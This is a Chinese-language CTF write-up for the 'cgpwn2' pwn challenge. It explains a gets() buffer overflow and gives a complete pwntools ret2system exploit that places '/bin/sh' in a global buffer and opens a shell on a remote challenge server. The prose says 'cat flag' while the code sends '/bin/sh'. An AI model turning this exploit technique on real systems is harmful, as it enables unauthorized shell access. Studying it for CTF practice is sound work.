攻防世界 cgpwn2
程序员文章站
2022-05-15 21:48:14
...
1.题目
2.IDA反汇编C程序
3.流程分析
首先提示输入名字,然后提示输入一段信息,程序就结束了。很简单的流程,gets方法也存在明显的溢出。但是目前为止没有找到我们想要的flag。在方法区看到有pwn方法,点进去一看,额。。
没有找到可以直接利用的源程序方法,那就只能自己构造了。 可以看到方法区中是有system方法的。所以我们只需要构造它的的参数:“cat flag”.
PIE没有开,我们可以直接利用输入名字把参数存进去。下面是exp
from pwn import *
#sh = process('./cgpwn2')
sh = remote('220.249.52.133', 31578)
sh.recvuntil('please tell me your name\n')
elf = ELF('./cgpwn2')
sh.sendline('/bin/sh\x00')
sh.recvuntil('hello,you can leave some message here:\n')
payload = 'a' * 0x2a + p32(elf.symbols['system'])+'a' * 4 + p32(0x0804A080)
sh.send(payload)
sh.interactive()
这里有个点需要注意,address_system后面需要加上address_ret(返回地址)。为什么呢?回忆一下调用函数的过程:1.将函数参数入栈;2.调用call方法调用函数,这个call方法做了两件事,①将返回地址入栈;②跳转到被调用函数执行;3.被调用函数将rbp入栈,然后rbp=rsp,rsp = rsp - xxx.
注意到,我们直接利用address_system覆盖返回地址,进而直接调用system方法,没有利用call方法调用system方法,所以我们需要自己完成call方法做的事情:返回地址入栈。所以address_system后面需要加上address_ret(返回地址),然后才是system方法的参数。
上一篇: pwn之cgpwn2
下一篇: ctf-STEGA-图穷匕见